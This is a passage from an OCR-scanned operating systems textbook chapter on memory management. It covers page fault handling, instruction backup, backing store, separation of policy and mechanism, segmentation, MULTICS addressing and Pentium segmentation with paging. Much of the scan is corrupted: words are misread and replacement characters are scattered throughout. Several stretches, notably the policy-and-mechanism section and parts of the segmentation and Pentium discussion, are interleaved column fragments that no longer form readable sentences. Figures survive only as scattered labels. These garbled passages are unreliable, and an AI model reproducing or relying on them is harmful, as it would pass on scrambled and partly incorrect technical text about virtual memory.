that page is written back to disk and the front hand is advanced. When it points to 
a clean page, it is just advanced. The back hand is used for page replacement, as 
in the standard clock algorithm. Only now, the probability of the back hand hitting 
a clean page is increased due to the work of the paging daemon. 

3.5.9 Virtual Memory Iuterface 

Up until now, our whole discussion has assumed that virtual memory is trans
parent to processes and programmers, that is, all they see is a large virtual address 
space on a computer with a small(er) physical memory. With many systems, that 
is true, but in some advanced systems, programmers have some control over 

.
the 

memory map and can use it in nontraditional ways to enhance program behaViOr. 
In this section, we will briefly look at a few of these. 

One reason for giving programmers control over their memory map is to 
allow two or more processes to share the same memory. If programmers can 
name regions of their memory, it may be possible for one process to give another 
process the name of a memory region so that process can also map it in. With two 
(or more) processes sharing the same pages, high bandwidth sharing becomes pos
sible-one process writes into the shared memory and another one reads from it. 

Sharing of pages can also be used to implement a high-performance m�s
sage-passing system. Nonnally, when messages are passed, the data are copIed 
from one address space to another, at considerable cost. If processes can control 
their page map, a message can be passed by having the sending process unmap the 
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page(s) containing the message, and the receiving process mapping them in. Here 
only the page names have to be copied, instead of all the data. 

Yet another advanced memory management technique is distributed shared 
memory (Feeley et ale 1995; Li, 1 986; Li and Hudak, 1 989; and Zekauskas et aI., 
1994). The Id�a here IS to allow multiple processes over a network to share a set 
of pages, pOSSIbly, but not necessarily, as a single shared linear address space. 
When a process references a pag� that is not 

.
currently mapped in, it gets a page 

fault. The page �ault han?ler, whIch may be m the kernel or in user space, then 
locates the machme holdmg the page and sends it a messao-e asking it to unma 
the page. an� send i� ov,:r the network. When the page arriv:S, it is mapped in an� 
�he faultmg mstructlOn IS restarted. We will examine distributed shared memory 
In more detail in Chap. 8. 

3.6 IMPLEMENTATION ISSUES 

,
Implemen

.
ters of vi,rtual memory systems have to make choices among the 

major theoretIcal �lgonthms, such as second chance versus aging, local versus 
global page allocatIOn, and demand paging versus prepaging. But they also have 
t? be aw�e of a number of practical implementation issues as well. In this sec
Uon we wIll take a look at a few of the Common problems and some solutions. 

3.6.1 Operating System Involvement with Paging 

, There are fo� tin:es when the operating system has paging-related work to 
do. �roc.ess c:-reatIon tIm�, process. execution time, page fault time, and process 
termmation time. We wIll now bnefly examine each of these to see what has to 
be done. 

W�en a new process is created in a paging system, the operating system has to 
determme how large the program and data will be (initially) and create a page 
table �o� .

th�m. Space has to be allocated in memory for the page table and it -has 
to be Imtrahzed. The page table need not be resident when the process is swapped 
out but has t� be In memory when the process is running. In addition, space has to 
be allocated In the swap area on disk so that when a page is swapped out, it has 
somewhere to go. The swap area also has to be initialized with program text and 
data so .that when the new process starts getting page faults, the pages can be 
brought �n, S?me systems page the program text directly from the executable file 
thus savmg dISk space a�d initialization time. Finally, information about the pag� 
table and swap area on dIsk must be recorded in the process table. 

When a process is scheduled for execution, the MMU has to be reset for the 
new process and the TLB flushed, to get rid of traces of the previously executino
�rocess. �he new process' page table has to be made current, usually by copYin� 
It or a pomter to It to Some hardware register(s). Optionally, Some or aU of the 
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process' pages can be brought into memory to reduce the nU?Iber of page faults 
initially (e.g., it is certain that the page pointed to by the PC will be needed). 

(J 
When a page fault occurs, the operating system has to read out

.
h�dware �eQ

isters to determine which virtual address caused the fault. From 
,
thIs mformatIOll, 

it must compute which page is needed and locate that page on dISk. It mu�t then 
find an available page frame to put the new page, evicting so�e old ?age If need 
be. Then it must read the needed page into the page fr�me. FI�any, It must b�ck 
up the program counter to have it point to the faulting mstructlOll and let that lfl-
struction execute again. 

. .  
When a process exits, the operating system must release lts 

'
page table, Its 

paoes and the disk space that the pages occupy when they are on d1sk. If s?me of 
th: p�ges are shared with other processes, the pages in m�mory and on dlsk can 
only be released when the last process using them has terrmnated. 

3.6.2 Page Fault Haudling 

We are finally in a position to describe in detail what happens on a page fault. 
The sequence of events is as follows: 

1. The hardware traps to the kernel, saving the program counter on
f 
�e 

stack On most machines, some information about the state 0 t e 
current instruction is saved in special CPU registers. 

2. An assembly code routine is started to save th� general reg
f
isters 

d
and 

other volatile infonnation, to keep the operatmg system rom es
troying it. This routine calls the operating system as a procedure. 

3. The operating system discovers that a page fault has occ
f
urr

h
ed'

har
a�d 

tries to discover which virtual page is needed. Often one o
. 

t e -
ware registers contains this information. If not, the operatmg syste� 
must retrieve the program counter, fetch the instruction, a�d parse It 
in software to figure out what it was doing when the fault hIt. 

4. Once the virtual address that caused the fault is kno",":n, the s�stem 
checks to see if this address is valid and the protectIon conSIstent 
with the access. If not, the process is sent a signal or killed. If the 
address is valid and no protection fault has occurred, the system 
checks to see if a page frame is free. If no frames are free, the page 
replacement algorithm is run to select a victim. 

5. If the page frame selected is dirty, the page is schedu.led for t
f
ran

)
s
.
fer 

to the disk, and a context switch takes place, suspendmg the au tmg 
process and letting another one run until the disk transfer ha� com
pleted. In any event, the frame is marked as busy to prevent It from 
being used for another purpose. 
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6. As soon as the page frame is clean (either immediately or after it is 
written to disk), the operating system looks up the disk address 
where the needed page is, and schedules a disk operation to bring it 
in. While the page is being loaded, the faulting process is still 
suspended and another user process is run, if one is available. 

7. When the dIsk interrupt indicates that the page has arrived, the page 
tables are updated to reflect its pOSition, and the frame is marked as 
being in normal state. 

S. The faulting instruction is backed up to the state it had when it began 
and the program COunter is reset to point to that instruction. 

9. The faulting process is scheduled, and the operating system returns 
to the (assembly language) routine that called it. 

10. This routine reloads the registers and other state infonnation and re
turns to user space to continue execution, as if no fault had occurred. 

3,6.3 Iustruction Backup 

227 

When a program references a page that is not in memory, the instruction caus
ing the fault is stopped partway through and a trap to the operating system Occurs. 
After the operating system has fetched the page needed, it must restart the instruc
tion causing the trap. This is easier said than done. 

To see the nature of this problem at its worst, consider a CPU that has instruc
tions with two addresses, such as the Motorola 6S0xO, widely used in embedded 
systems. The instruction 

Figure 3-28. An instruction causing a page fault. 

In Fig. 3-28, we have an instruction starting at address 1000 that makes three 
memory references: the instruction word itself, and two offsets for the operands. 
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Depending on which of these three memory references caused the page fau�t) the 
program counter might be 1000, 1002, or 1004 at the �me of the 

,
fault. It IS fre

quently impossible for the operating system to determme un
,
ambiguously where 

the instruction began. If the program counter is 1002 at �he time 
,
of the fault, the 

operating system has no way of telling whether the word l� 1002 IS a memory ad
dress associated with an instruction at 1000 (e.g., the location of an operand) or an 
instruction cpeode. 

Bad as this problem may be, it could have been worse. Some 680xO �d-
dressing modes use auto incrementing, which m�ans that a sid� effect of executl�� 
the instruction is to increment one or more regIsters. InstructIons that use autom 
crement mode can also fault. Depending on the details of the microcode, �he 
increment may be done before the memory reference, in whic� case th� opera�mg 
system must decrement the register in software before restartmg. the l�strucno�. 
Or, the autoincrement may be done after the memory reference, III which case It 
will not have been done at the time of the trap and must not be un?o�e by the op
erating system. Autodecrement mode also exists and causes a slmtlar problem. 
The precise details of whether autoincrements and autodecrements .have or ha

.
ve 

not been done before the corresponding memory references may dIffer from m
struction to instruction and from CPU model to CPU model. 

Fortunately, on some machines the CPU designers provide a solutio�, usu,:lly 
in the form of a hidden internal register into which the program counter IS copIed 
just before each instruction is executed. These machin�s may also have a second 
re(Jister telling which registers have already been automcremente� or autodecre
m�nted, and by how much. Given this information, the

. 
operatmg .system can 

unambiguously undo all the effects of the faulting instru�t1on so that It can b.e re
started. If this information is not available, the operanng system has to Jump 
through hoops to figure out what happened and how to repair it. It is as thoug� 
the hardware desi(Jners were unable to solve the problem, so they threw up theIr 
hands and told the

t:>
operating system writers to deal with it. Nice guys. 

3.6.4 Locking Pages in Memory 

Although we have not discussed IJO much in t�is chapter, �e fact that a com
puter has virtual memory does not mean that I/O IS abs�nt. _�lrtual memory and 
110 interact in subtle ways. Consider a process that has Just Issued a sys�em c�ll 
to read from some file or device into a buffer within its address space. Wh.l1e W31t
ing for the IJO to complete, the process is suspended and another -process IS allow
ed to run. This other process gets a page fault. 

If the paging algorithm is global, there is a small, but nonzero, chance that the 
page containing the 110 buffer will be chosen �o be removed from memory. If an 
I/O device is currently in the process of domg a DMA transfer to that page, 
removing it will cause part of the data to be written in the buffer where th�y be
long, and part of the data to be written over the just-loaded page. One solutIon to 
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this problem �s to lock p�ges engaged in I/O in memory so that they will not be re
moved. Locking a page IS often called pinning it in memory. Another solution is 
to do all I/O to kernel buffers and then copy the data to user pages later. 

3.6.5 Backing Store 

In our discussion of page replacement algorithms, we saw how a page is 
select�d .for removal. We have not said much about where on the disk it is put 
when It IS paged out. Let us now describe some of the issues related to disk man
agement. 

. The simpl�st algorithm for allocating page space on the disk is to have a spe
CIal swap partItion on the disk, .or even better on a separate disk from the file sys
tem (to balance the I/O load). Most UNIX systems work like this. This partition 
does not have a normal file system On it, which eliminates all the overhead of con
verting offsets in files to block addresses. Instead, block numbers relative to the 
start of the partition are used throughout. 

When the �ystem is booted, this swap partition is empty and is represented in 
memory as a slU?le entry giving its origin and size. In the simplest scheme, When 
�e first process IS started, a chunk of the partition area the size of the first process 
IS reserved and the �emaining area reduced by that amount. As new processes are 
�tarted, they are aSSIgned chunks of the swap partition equal in size to their COre 
Imag�s. As they finish, their disk space is freed. The swap partition is managed 
as a lIst of

. 
free ch?nks. Better algorithms will be discussed in Chap. 10. 

AssocIated WIth e,:c.h p:oc�ss is the disk address of its swap area, that is, 
where on the swap .partitIon Its Image is kept. This information is kept in the proc
ess table. Calculatmg the address to write a page to becomes simple: just add the 
offset of the page within the virtual address space to the start of  the swap area. !10wever, before .a process c.3Il start, the swap area must be initialized. One way 
IS to copy the entire process Image to the swap area, so that it can be brought in as 
needed. The other is to load the entire process in memory and let it be paged out 
as needed. 

How�ver, this simple model has a problem: processes can increase in size 
,:fter startmg. Although the program text is usually fixed, the data area can some� 
tImes grow, and the stack can always grow. Consequently, it may be better to 
reserve separate swap areas for the text, data, and stack and allow each of these 
areas to consist of more than One chunk on the disk. 

The other ex��me is to allocate nothing in advance and allocate disk space for 
ea

.ch page when It I� swapped out and deallocate it when it is swapped back in. In 
thIS wa�, processes m memory do not tie up any swap space. The disadvantage is 
that a dIsk address is needed in memory to keep track of each page on disk. In 
?ther words, there �ust a table per process telling for each page on disk where it 
IS. The two alternatIVes are shown in Fig. 3-29. 
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Figure 3-29. (a) Paging to a static swap area. (b) Backing up pages dynamically. 

In Fig. 3-29(a), a page table with eight pages is illustrated. Pages 0, 3, 4, and 6 
are in main memory. Pages 1 , 2, 5, and 7 are on disk. The swap area on disk is as 
large as the process virtual address space (eight pages), with each page having a 
fixed location to which it is written when it is evicted from main memory. Calcu
lating this address requires knowing only where the process' paging area begins, 
since pages are stored in it contiguously in order of their virtual page number. A 
page that is in memory always has a shadow copy on disk, but this copy may be 
out of date if the page has been modified since being loaded. The shaded pages in 
memory indicate pages not present in memory. The shaded pages on the disk are 
(in principle) superseded by the copies in memory, although if a memory page has 
to be swapped back to disk and it has not been modified since it was loaded, the 
(shaded) disk copy will be used. 

In Fig. 3-29(b), pages do not have fixed addresses on disk. When a page is 
swapped out, an empty disk page is chosen on the fly and the disk map (which has 
room for one disk address per virtual page) is updated accordingly. A page in 
memory has no copy on disk. Their entries in the disk map contain an invalid disk 
address or a bit marking them as not in use. 

Having a fixed swap partition is not always possible. For example, no disk 
partitions may be available. In this case, one or more large, preallocated files 
within the normal file system can be used. Windows uses this approach. Howev
er, an optimization can be used here to reduce the amount of disk space needed. 
Since the program text of every process came from some (executable) file in the 
file system, the executable file can be used as the swap area. Better yet, since the 
program text is generally read-only, when memory is tight and program pages 
have to be evicted from memory, they are just discarded and read in again from 
the executable file when needed. Shared libraries can also work this way. 
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3.6.6 Separation of Policy and Mechanism 

An important tool for managing th I ·  policy from mechanism. This principle �a:o:: a�;l
%

d
O�

o 
any system is to separate �aving most of the memory manager run as a user-leve 
memory management by 

tlOn was first done in Mach (Young et al 1987) Th d
.l pro�ess. Such

.
a separa

based on Mach. 
., . e ISCUSSlOn below IS loosely 

Fig �_�;p� ex:ple of how policy and mechanism can be separated is shown in . . ere e memory management system is divided into three parts: 
I. A low-level MMU handler. 
2. A page fault handler that is part of the kernel. 
3. An external pager running in user space. 

All
. 
the

. 
details of how the MMU works are enca sulated in whIch IS �achine-dependent code and has to be r�Written for 

�e MMU handler, 

,!���:�t��!t:;��e:;:t ��r:;;� ��C��i;��-fault hand� is ma:��e��:';:;::�: 
mined by the external pager, which runs as a

O�Ie:g;�;�ess.
e poltcy IS largely deter-

Usec 
process 

Main memory 3. Request page 

External �---+--I 
pager 4. Page 

arrives 

Disk 

Figure 3�30. Page fault handling with an external pager. 

When a process starts up, the external pager is notified in order to set u process p�ge map and allocate backing store on the disk if need be A h 
P the 

:;:i::'��ti�e�ay map new objects into its address space. so the ex;ern:/ p:::��� 
ures �:�e

w��c�r��s ttarts I?nning, it may get a page fault. The fault handler fig
telling it the probler:. ¥:�e

e�te��e
p
d
ag
a:: �ends a

d
me

h
ssage to the ext�rnal pager, 

en rea s t e needed page III from the 



l 

232 MEMORY MANAGEMENT CHAP. 3 

disk and copies it to a portion of its own address space. Then it tells the fault 
handler where the page is. The fault handler then unmaps the page from the ex
ternal pager's address space and asks the MMU handler to put it into the user's 
address space at the right place. Then the user process can be restarted. 

This implementation leaves open where the page replacement algorithm is 
put. It would be cleanest to have it in the external pager, but there are some prob
lems with this approach. Principal among these is that the external pager does not 
have access to the R and M bits of all the pages. These bits play a role in many of 
the paging algorithms. Thus either some mechanism is needed to pass this infor
mation up to the external pager, or the page replacement algorithm must go in the 
kerneL In the latter case, the fault handler tells the external pager which page it 
has selected for eviction and provides the data, either by mapping it into the exter
nal pager's address space or including it in a message. Either way, the external 
pager writes the data to disk. 

The main advantage of this implementation is more modular code and greater 
flexibility. The main disadvantage is the extra overhead of crossing the user
kernel boundary several times and the overhead of the various messages being 
sent between the pieces of the system. At the moment, the subject is highly con
troversial, but as computers get faster and faster, and the software gets more and 
more complex, in the long run sacrificing some perfonnance for more reliable 
software will probably be acceptable to most implementers. 

3.7 SEGMENTATION 

The virtual memory discussed so far is one-dimensional because the virtual 
addresses go from 0 to some maximum address, one address after another. For 
many problems, having two or more separate virtual address spaces may be much 
better than having only one. For example, a compiler has many tables that are 
built up as compilation proceeds, possibly including 

1 .  The source text being saved for the printed listing (on batch systems). 
2. The symbol table, containing the names and attributes of variables. 

3. The table containing an the integer and floating-point constants used. 
4. The parse tree, containing the syntactic analysis of the program. 

S. The stack used for procedure calls within the compiler. 
Each of the first four tables grows continuously as compilation proceeds. The last 
one grows and shrinks in unpredictable ways during compilation. In a one
dimensional memory, these five tables would have to be allocated contiguous 
chunks of virtual address space, as in Fig. 3-31. 

Consider what happens if a program has a much larger than usual number of 
variables but a normal amount of everything else. The chunk of address space 
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. 
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�
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. ds more address space to grow, it can have it, because there a certam segment nee 
b '  t Of course a segment can fill up, is nothino- else in its address space to ump m o. 

.
' 

To specify an ad-o 
11 large so thIS occurrence IS rare. �ut se

?
m:�s 

s:r:;:�t�l o:eZO_dirdensional memory, the program must su�?IY a ress m 1 
ment number and an address within the segment. 19ure two-part address, a seg '

b . 0" ed for the compiler tables discussed 
3-32 illustrates a segmented memory eml';l us 

earlier. Five independent segments are shown here, 
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Figure 3-32. A segmented memory allows each table to grow or shrink inde

pendently of the other tables. 
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We emphasize that a segment is a logical entity, whic� the programmer is 

aware of 
a
an

s
d
ta��e�;: :��f:�t���n��t��ata:��:�l��i�e� ���!::; i� ����e:�;;o�;a�� array, or , 

a mixture of different types. 
. l'f ' h handlino mented memory has other advantages besides SImp 1 ymg t e . 

� 
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l '  tly simplified. After all the procedures that constitute
. 
a complied �:E:r�::� ��!�ed and linked up, a procedure call to the procedu:e III ����:: n will use the two�part address (n, 0) to address �ord 0 (the entry �o�nt�o If the rocedure in segment n is subsequently modlfied and recompl e ,  . 

other proc!dures need be changed (because no starting add�sses have �een �Odli tied) even if the new version is larger than the old one. WIth a on
.
ehdlmen��o�:s 

, 
the rocedures are packed tightly next to each other, WIt nO a r �:����twee: them. Consequently, changing one procedure's size

. 
can affe�t �he 

sfarting address of other (unrelated) procedures. This, in tum, reqmres modlfymg 
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all procedures that call any of the moved procedures, in order to incorporate their new starting addresses. If a program contains hundreds of procedures, this process can be costly. 
Segmentation also facilitates sharing procedures or data between several processes. A common example is the shared library. Modern workstations that run advanced window systems often have extremely large graphical libraries compiled into nearly every program. In a segmented system, the graphical library can be put in a segment and shared by multiple processes, eliminating the need for having it in every process' address space. While it is also possible to have shared libraries in pure paging systems, it is more complicated. In effect, these systems do it by simulating segmentation. 
Since each segment forms a logical entity of which the programmer is aware, such as a procedure, or an array, or a stack, different segments can have different kinds of protection. A procedure segment can be specified as execute only, prohi� biting attempts to read from it or store into it. A floating-point array can be specified as read/write but not execute, and attempts to jump to it will be caught. Such protection is helpful in catching programming errors. 

You should try to understand why protection is sensible in a segmented memory but not in a one-dimensional paged memory. In a segmented memory the user is aware of what is in each segment. Normally, a segment would not contain a procedure and a stack, for example, but only one or the other, not both. 3ince each segment contains only a single type of Object, the segment can have the protection appropriate for that particular type. Paging and segmentation are compared in Fig. 3-33. 
The contents of a page are, in a sense, accidental. The programmer is unaware of the fact that paging is even occurring. Although putting a few bits in each entry of the page table to specify the access allowed would be possible, to utilize this feature the programmer would have to keep track of where in his address space the page boundaries were. That is precisely the sort of administration that paging was invented to eliminate. Because the user of a segmented memory has the illusion that all segments are in main memory all the time-that is, he can address them as though they were-he can protect each segment separately, without having to be concerned with the administration of overlaying them. 

3.7.1 Implementation of Pure Segmentation 

The implementation of segmentation differs from paging in an essential way: pages are fixed size and segments are not. Figure 3-34(a) shows an example of physical memory initially containing five segments. Now consider what happens if segment 1 is evicted and segment 7, which is smaller, is put in its place. We arrive at the memory configuration of Fig. 3-34(b). Between segment 7 and seg� ment 2 is an unused area-that is, a hole. Then segment 4 is replaced by segment 5, as in Fig. 3-34(c), and segment 3 is replaced by segment 6. as in Fig. 3-34(d). 
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Consideration Paging Segmentation 

Need the programmer be aware No Yes 

that this technique is being used? 

How many linear address 1 Many 

spaces are there? 

Can the total address space Yes Yes 

exceed the size of physical 
memory? 

Can procedures and data be No Yes 

distinguished and separately 
protected? 

Can tables whose size fluctuates No Yes 

be accommodated easily? 
No Yes 

!s sharing of procedures 
between users facilitated? 

Why was this technique To get a large To allow programs 
linear address and data to be broken 

invented? space without up into logically 
having to buy independent address 
more physical spaces and to aid 
memory sharing and 

protection 

Figure 3-33. Comparison of paging and segmentation. 
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Segment 7 
(5K) 

(e) (d) (e) 

Figure 3·34. (a)-(d) Development of checkerboarding. (e) Removal of the 
checkerboarding by compaction. 

237 

to keep the whole segment in memory if only part of it is being used) with the ad
vantages of segmentation. (ease of programming. modularity. protection, ·sharing). 

Each MULTICS program has a segment table, with one descriptor per seg
ment. Since there are potentially more than a quarter of a million entries in the 
table, the segment table is itself a segment and is paged. A segment descriptor 
contains an indication of whether the segment is in main memory or not. If any 
part of the segment is in memory, the segment is considered to be in memory, and 
its page table will be in memory. If the segment is in memory, its descriptor con
tains an I8-bit pointer to its page table, as in Fig. 3-35(a). Because physical ad
dresses are 24 bits and pages are aligned on 64-byte boundaries (implying that the 
low-order 6 bits of page addresses are 000000), only 18 bits are needed in the de
scriptor to store a page table address. The descriptor also contains the segment 
size, the protection bits, and a few other items. Figure 3-35(b) illustrates a MUL
TICS segment descriptor. The address of the segment in secondary memory is not 
in the segment descriptor but in another table used by the segment fault handler. 

Each segment is an ordinary virtual address space and is paged in the same 
way as the nonsegmented paged memory described earlier in this chapter. The 
normal page size is I024 words (although a few small segments used by MUL
TICS itself are not paged or are paged in units of 64 words to save physical mem
ory). 

An address in MULTICS consists of two parts: the segment and the address 
within the segment. The address within the segment is further divided into a page 
number and a word within the page, as shown in Fig. 3-36. When a memory ref
erence occurs, the following algorithm is camed out. 
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1 1 
_36bits---

1 1 Page 2 entry 
Page 1 entry 

Segment 6 descriptor Page 0 entry 

Segment 5 descliptor Page table for segment 3 

Segment 4 descriptor 
Segment 3 descriptor 1 1 
Segment 2 descriptor 
Segment 1 descriptor I� Page 2 entry 

Segment 0 descriptor Page 1 entry 

Descriptor segment Page 0 entry 
Page table for segment 1 

lal 

18 9 1 1 3 3 

Main memory address I Segment length I � I I 
of the page table (in pages) � 

Page size: 
0::; 1024 words ---
1 = 64 words 
0""  segment is paged ._ 1 "" segment is nol paged 

Miscellaneous bits -----' 

Protection bits ----------" 

Ibl 

Figure 3.35. The MULTICS virtual memory. (a) The descriptor segment 
points to the page tables. (b) A segment descriptor. The numbers are the field 
lengths. 

1. The segment number is used to f�nd the segment descriptor. 

2. A check is made to see if the segment's page table is in memory. If 
the page table is in memory, it is located. If it is not, a segment fault 
occurs. If there is a protection violation, a fault (trap) occurs. 

3. The page table entry for the requested virtual page is examined. If 
the page itself is not in memory, a page fault is triggered. If it is in 
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memory, the main memory address of the start of the page is ex
tracted from the page table entry. 

4. The offset is added to the page origin to give the main memory ad
dress where the word is located. 

5. The read o� store finally takes place. 

Segment number 

18 6 

Address within 
the segment 

Offset within 
the page 

10 

Figure 3-36 .. A 34-bit MULTICS virtual address. 
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This process is illustrated in Fig. 3-37. For Simplicity, the fact that the de
scriptor segment is itself paged has been omitted. What really happens is that a 
register (the descriptor base register) is used to locate the descriptor segment's 
page 

.
table, which, in tum, points to the pages of the descriptor segment. Once the 

descnptor for the needed segment has been found, the addressing proceeds as 
shown in Fig. 3-37. 

MULT!CS virtual address 
r-----� .---� ____ _ 

Segment 
number 

Segment number 

Descriptor 
segment 

Page 
number Offset 

Figure 3-37. Conversion of a two-part MULTICS address into a main memory address. 

As you have no doubt guessed by now, if the preceding algorithm were ac
tually carried out by the operating system on every instruction, programs would 
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3.7.3 Segmentation with Paging: The Intel Pentium 

th 'rtual memory on the Pentium resembles that of MOL-
In many ways, e VI . d ino- Whereas MUL-

TICS includinO" the presence of both segmentatIOn an pag b' 
( 

TICS
' 
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e
;� 

few programs need more than 1000 segments, but many programs nee arg 

ments. 
f th P ntium virtual memory consists of two tables, called the 

LDi��:::D';,.Cri�to� Table) and the GDT (Global Descriptor Table). Each 
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program has its own LDT, but there is a single GDT, shared by all the programs 
on the computer. The LDT describes segments local to each program, including 
its code, data, stack, and so on, whereas the GDT describes system segments, in
cluding the operating system itself. 

To access a segment, a Pentium program first loads a selector for that segment 
into one of the machine's six segment registers. During execution, the CS register 
holds the selector for the code segment and the DS register holds the selector for 
the data segment. The other segment registers are less important. Each selector is 
a 16-bit number, as shown in Fig. 3-39. 

Bits 13 2 
�

'nd-e, ----'t"'-----', I I  \ 
0::: GDT/1 '" LOT Privilege level (0-3) 

Figure 3-39. A Pentium selector. 

One of the selector bits tells whether the segment is local or global (i.e., 
whether it is in the LDT or GDT). Thirteen other bits specify the LD1' or GDT 
entry number, so these tables are each restricted to holding 8K segment descrip
tors. The other 2 bits relate to protection, and wi1l be described later. DesCriptor 0 
is forbidden. It may be safely loaded into a segment register to indicate that the 
segment register is not currently available. It causes a trap if used. 

At the time a selector is loaded into a segment register, the corresponding de
scriptor is fetched from the LDT or GDT and stored in microprogram registers, so 
it can be accessed quickly. As depicted in Fig. 3-40, a descriptor consists of 8 
bytes, including the segment's base address, size. and other information. 

The fonnat of the selector has been cleverly chosen to make locating the de
scriptor easy. First either the LDT or GDT is selected, based on selector bit 2. 
Then the selector is copied to an internal scratch register, and the 3 low-order bits 
set to O. Finally, the address of either the LDT or GDT table is added to it, to give 
a direct pointer to the descriptor. For example, selector 72 refers to entry 9 in the 
GDT, which is located at address GDT + n. 

Let us trace the steps by which a (selector, offset) pair is converted to a physi
cal address. As soon as the microprogram knows which segment register is being 
used, it can find the complete descriptor corresponding to that selector in its inter
nal registers. If the segment does not exist (selector 0), or is currently paged out, 
a trap occurs. 

The hardware then uses the Limit field to check if the offset is beyond the end 
of the segment, in which case a trap also occurs. Logically, there should be a 32-
bit field in the descriptor giving the size of the segment, but there are only 20 bits 
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0: Segment is absent I rom memory 
n memory l 1: Segment is present i 

Limit p lDPlls 16-19 
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r Privilege level (0-3) 
0: System 
1: Application 

r- Segment type and pro 

Type I Base 16-23 

Umil O-15 

tection 

4 

o 
Relative 
address 

Figure 3-40. Pentium code segment descriptor. Data segments differ slightly_ 

available, so a different scheme is used. If the Gbit (Granularity) field is 0, the 
Limit field is the exact segment size, up to 1 ME. If it is 1, the Limit field gives 
the segment size in pages instead of bytes. The Pentium page size is fixed at 4 
KB, so 20 bits are enough for segments up to 232 bytes. 

Assuming that the segment is in memory and the offset is in range, the Pen
tium then adds the 32-bit Base field in the descriptor to the offset to form what is 
called a linear address, as shown in Fig. 3-4 L The Base field is broken up into 
three pieces and spread all over the descriptor for compatibility with the 286, in 
which the Base is only 24 bits. In effect, the Base field allows each segment to 
start at an arbitrary place within the 32-bit linear address space. 

I Offset I 
Descriptor -� Base address 

Limit 
Other fields 

!32-Blt linear address I 
Figure 3·41. Conversion of a (selector, offset) pair to a linear address. 

If paging is disabled (by a bit in a global control register), the linear address is 
interpreted as the physical address and sent to the memory for the read or write. 
Thus with paging disabled, we have a pure segmentation scheme, with each seg
ment's base address given in its descriptor. Segments are not prevented from 
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overlapping, probably because it would be too much trouble and take too much 
time to verify that they were all disjoint. 

On the other hand, if paging is enabled, the linear address is interpreted as a 
virtual a�dress and

. 
mapped onto the physical address using page tables, pretty 

much as III our earher examples. The only real complication is that with a 32-bit 
virtual address and � 4-KB page, a segment might contain I million pages, so a 
two-level mapping is used to reduce the page table size for small segments. 

Each running program has a page directory consisting of 1024 32-bit entries. 
It is located at an address pointed to by a global register. Each entry in this direc
tory points to a page table also containing 1024 32-bit entries. The page table en
tries point to page frames. The scheme is shown in Fig. 3-42. 

Linear address 
Bits 

1
----1:.:o� ___ 

T
----'.:lO�---

T
-----".:2----_, 

Dir 

Page directory 
1 1 

Page 

(aJ 

Page table 
1 1 

(l1� '?i0&�r�'\:', �,,� 
1024 I Entries 

I "i' i-------l 

pomts to entry pOints 
page table to word 

(bJ 

Offset 

Page frame 
1 1 

Figure 3·42. Mapping of a linear address onto a physical address. 

In Fig. 3-42(a) we see a linear address divided into three fields, Dir, Page, 
and Offset. The Dir field is used to index into the page directory to locate a point
er to the proper page table. Then the Page field is used as an index into the page 
table to find the physical address of the page frame. Finally, Offset is added to the 
address of the page frame to get the physical address of the byte pr word needed. 

The page table entries are 32 bits each, 20 of which "contain a page frame 
number. The remaining bits contain access and dirty bits, set by the hardware for 
the benefit of the operating system, protection bits, and other utility bits. 

Each page table has entries for 1024 4-KB page frames, so a single page table 
handles 4 megabytes of memory. A segment shorter than 4M will have a page 
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directory with a single entry, a pointer to its one and only page table. �n
. 
this way, 

the overhead for short segments is only two pages, instead of the m1llIon pages 
that would be needed in a one-level page table. 

To avoid making repeated references to memory, the Pentium, like MUL
TICS, has a small TLB that directly maps the most recently used Dir-Page com
binations onto the physical address of the page frame. Onl� when the current cO

.
m

bination is not present in the TLB is the mechanism of FIg. 3-42 actual�y earned 
out and the TLB updated. As long as TLB misses afe rare, performance IS �ood. 

It is also worth noting that if some application does not need segmentatlOn but 
is content with a single, paged, 32-bit address space, that model is possible. All 
the segment registers can be set up with the same selector, whose descriptor �as 
Base "" 0 and Limit set to the maximum. The instruction offset will then be the lin
ear address, with only a single address space used-in effect, nonnal paging. In 
fact, all current operating systems for the Pentium work this way. OS/2 was the 
only one that used the fun power of the Intel MMU architecture. 

. 
All in all, one has to give credit to the Pentium designers, Given the conflIct

ing goals of implementing pure paging, pure segmentation, and paged seg�ents, 
while at the same time being compatible with the 286, and dOing all of thIS effi-
ciently, the resulting design is surprisingly simple and clean. " 

Although we have covered the complete architecture of the PentIUm vlftu�l 
memory, albeit briefly, it is worth saying a few words about protection, since thIS 
subject is intimately related to the virtual memory, Just as the virtual memory 
scheme is closely modeled on MUL TICS, so is the protection system. The Pen
tium supports four protection levels, with level 0 being �e most privile?ed and 
level 3 the least. These are shown in Fig. 3A3. At each mstant, a runnmg pro
£ram is at a certain level, indicated by a 2-bit field in its PSW. Each segment in fue system also has a leveL 

As long as a program restricts itself to using segments at its own level, every
thing works fine. Attempts to access data at a higher level are pennitted. At
tempts to access data at a lower level are illegal and cause traps. At�empts to call 
procedures at a different level (higher or lower) are allowed, _but m a caref�lly 
controlled way. To make an interleve1 call, the CALL instruction must contam a 
selector instead of an address. This selector deSignates a desCriptor called a call 
gate, which gives the address of the procedure to be called. T�us it is not possible 
to jump into the middle of an arbitrary code segment at a different level. Only 
official entry points may be used. The concepts of protection levels and call gates 
were pioneered in MULTICS, where they were viewed as protection rings . . 

A typical use for this mechanism is suggested in Fig. 3-43. At level 0, we 
find the kernel of the operating system, which handles lIO, memory management, 
and other critical matters. At level l ,  the system call handler is present. User pro
grams may call procedures here to have system calls carried out, but only a spe
cific and protected list of procedures may be called. Level 2 contains library pro
cedures, possibly shared among many running programs. User programs may call 

SEC. 3.7 SEGMENTATION 
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Level 
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Figure 3-43. Protection On the Pentium, 
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these procedures and read their data, but they may not modify· them. Finally, user 
programs run at level 3, which has the least protection. 

Traps an� interrupts USe a mechanism similar to the call gates. They,. too, ref
eren�e descnptors. rather than absolute addresses, and these descriptors point to 
speCIfic procedures to be executed. The Type field in Fig. 3-40 distinguishes be
tween code segments, data segments, and the various kinds of gates. 

3.8 RESEARCH ON MEMORY MANAGEMENT 

Memory management, especially paging algorithms, was Once a fruitful area 
for research, but most of that seems to have largely died off, at least for general
purpose systems. Most real systems tend to use some variation on clock. because 
it is ea�y to implement and relatively effective. One recent exception, however, is 
a redeSIgn of the 4.4 BSD virtual memory system (Cranor and Parulkar, 1999). 

There is still research going on concerning paging in newer kinds of systems 
though. For example, cell phones and PDAs have become small PCs, and many of 
them page RAM to " disk," only disk on a cell phone is flash memory, which has 
different properties than a rotating magnetic disk. Some recent work is reported 
by (In et al., 2007; Joo et aI., 2006; and Park et al., 2004a). Park et a1. (2004b) 
have also looked at energy-aware demand paging in mobile devices. 

